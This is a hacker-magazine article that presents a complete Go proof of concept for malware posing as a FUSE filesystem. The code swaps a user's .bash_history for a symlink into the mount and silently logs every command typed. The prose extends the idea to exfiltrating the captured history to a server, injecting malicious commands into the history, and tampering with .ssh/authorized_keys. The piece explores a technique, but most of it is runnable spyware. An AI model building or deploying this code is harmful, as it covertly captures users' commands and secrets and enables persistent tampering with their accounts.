Malware in the Filesystem
by Maysara Alhindi
While researching UNIX sandboxing solutions, one in particular caught my attention: github.com/tsgates/mbox
This sandbox creates a copy-on-write version of any file accessed by a sandboxed process, intercepting specific system calls using seccomp and ptrace(). The solution is old, but still fascinating. Naturally, I started wondering: how could we build a better version?
Filesystem in Userspace (FUSE) is a Linux kernel module that lets you implement a filesystem entirely in user space. That means you can write your own special filesystem using the FUSE protocol. For our sandboxing example, this allows us to intercept every file access, log it, create copies, or tamper with it at will. All filesystem operations are under our complete control.
But of course, the mind doesn't stop there. This wouldn't be a proper 2600 note without a little chaos. How might we abuse the power of FUSE? This note presents a PoC demonstrating how FUSE can be used to create malware disguised as a filesystem. Specifically, we'll show how to spy on the commands typed into a user's terminal. Pretty neat, right?
If you open a terminal on Linux, you'll notice you can scroll through your command history with the up and down arrows. But where is that history stored? And how does it actually work?
In Bash, for example, your command history is saved to a file called .bash_history. When a shell session exits, Bash flushes the session's commands into that file. When you open a new terminal, Bash reads .bash_history back into memory so you can reuse old commands.
Interesting. So our goal now is to spy on .bash_history.
Thanks to FUSE, we can do this without even reading the real file directly. One method is to replace the user's .bash_history with a symlink to a file inside our FUSE-mounted filesystem. Every time Bash writes a new command to history, our FUSE node sees the write. This lets us silently capture the user's command history, and exfiltrate it to a server.
Another method is to modify the HISTFILE environment variable in .bashrc to point to a file inside our FUSE filesystem. This achieves the same goal, as every read and write to the history file is now fully under our control.
We can also hook read operations on the history file, serving either the legitimate content or injecting malicious commands into the user's history.
This idea naturally extends to other sensitive files, for instance, .ssh/authorized_keys. What's beautiful about this approach is that the malware never reads or opens the target files directly.
Instead, it impersonates the filesystem itself. Malware as the filesystem! The filesystem is the payload.
+------------------------+ | User Terminal | | (typing commands) | +-----------+------------+ | v +------------------------+ | Bash Shell | | (writes to HISTFILE) | +-----------+------------+ | v +------------------------+ | FUSE FS (evil) | | - Intercepts writes | | - Logs commands | | - Can modify data | +-----------+------------+ | v +------------------------+ | Real FS | | (actual disk storage) | +------------------------+cleanup.go
package main import ( "bazil.org/fuse" "os" ) func clean() { if conn != nil { conn.Close() } fuse.Unmount(mountPath) deleteFiles() } func deleteFiles() { err := os.Remove(originalFile) handleError(err) err = os.Rename(shadowFile, originalFile) handleError(err) err = os.RemoveAll(mountPath) handleError(err) }data.go
package main import ( "log" "os" ) func handleData(data string) { log.Println("History was captured", data) copyToShadow(data) } func copyToShadow(data string) { f, err := os.OpenFile(shadowFile, os.O_APPEND|os.O_WRONLY, 0644) handleError(err) defer f.Close() _, err = f.WriteString(data) }errors.go
package main import ( "log" ) func handleError(err error) { if err != nil { log.Fatal(err) }fuse.go
package main import ( "bazil.org/fuse" bazilfs "bazil.org/fuse/fs" "context" "os" ) type FS struct{} type Dir struct{} type File struct{} var conn *fuse.Conn func installFuse() { conn, err := fuse.Mount( mountPath, fuse.FSName("fuse"), fuse.Subtype("logger"), ) handleError(err) defer clean() err = bazilfs.Serve(conn, FS{}) handleError(err) } func (FS) Root() (bazilfs.Node, error) { return Dir{}, nil } func (Dir) Attr(ctx context.Context, a *fuse.Attr) error { a.Mode = os.ModeDir | 0755 return nil } func (Dir) Lookup(ctx context.Context, name string) (bazilfs.Node, error) { if name == ".history" { return File{}, nil } return nil, fuse.ENOENT } func (Dir) ReadDirAll(ctx context.Context) ([]fuse.Dirent, error) { return []fuse.Dirent{}, nil } func (File) Attr(ctx context.Context, a *fuse.Attr) error { info, err := os.Stat(shadowFile) if err != nil { return err } a.Mode = 0644 a.Size = uint64(info.Size()) a.Mtime = info.ModTime() return nil } func (File) ReadAll(ctx context.Context) ([]byte, error) { return os.ReadFile(shadowFile) } func (File) Write(ctx context.Context, req *fuse.WriteRequest, resp *fuse.WriteResponse) error { content := string(req.Data) handleData(content) resp.Size = len(req.Data) return nil }hide.go
package main import ( "os" ) func createLink() { err := os.Remove(originalFile) handleError(err) linkTarget := mountPath + "/.history" _, err = os.Create(linkTarget) handleError(err) err = os.Symlink(linkTarget, originalFile) handleError(err) } func createCopy() { data, err := os.ReadFile(originalFile) handleError(err) err = os.WriteFile(shadowFile, data, 0644) handleError(err) }main.go
package main import ( "os" "os/signal" "os/user" "path/filepath" "syscall" ) var ( mountPath string originalFile string shadowFile string homeDir string ) /* Malware in the filesystem. This PoC does the following: - Creates a copy of .bash_history file (shadow file) - Creates a FUSE mount point. - Creates a symlink from .bash_history to a file inside the FUSE mount point - Captures the history data when written to .bash_history - Writes a copy of the data to the shadow file - When .bash_history is read, serve the data from the shadow file */ func main() { usr, err := user.Current() handleError(err) homeDir = usr.HomeDir historyName := ".bash_history" if len(os.Args) > 1 { historyName = os.Args[1] } originalFile = filepath.Join(homeDir, historyName) shadowFile = filepath.Join(homeDir, ".bh_copy") createCopy() mountPath = filepath.Join(homeDir, ".mount") err = os.MkdirAll(mountPath, 0755) handleError(err) createLink() go installFuse() handleSignals() } func handleSignals() { sigs := make(chan os.Signal, 1) done := make(chan bool, 1) signal.Notify(sigs, syscall.SIGINT, syscall.SIGTERM) go func() { <-sigs clean() done <- true }() <-done }go.mod
module malware go 1.24.2 require bazil.org/fuse v0.0.0-20230120002735-62a210ff1fd5 require golang.org/x/sys v0.4.0 // indirectgo.sum
bazil.org/fuse v0.0.0-20230120002735-62a210ff1fd5 h1:A0NsYy4lDBZAC6QiYeJ4N+XuHIKBpyhAVRMHRQZKTeQ= bazil.org/fuse v0.0.0-20230120002735-62a210ff1fd5/go.mod h1:gG3RZAMXCa/OTes6rr9EwusmR1OH1tDDy+cg9c5YliY= github.com/tv42/httpunix v0.0.0-20191220191345-2ba4b9c3382c h1:u6SKchux2yDvFQnDHS3lPnIRmfVJ5Sxy3ao2SIdysLQ= github.com/tv42/httpunix v0.0.0-20191220191345-2ba4b9c3382c/go.mod h1:hzIxponao9Kjc7aWznkXaL4U4TWaDSs8zcsY4Ka08nM= golang.org/x/sys v0.4.0 h1:Zr2JFtRQNX3BCZ8YtxRE9hNJYC8J6I1MVbMg6owUp18= golang.org/x/sys v0.4.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=Code: malware-fs.tgz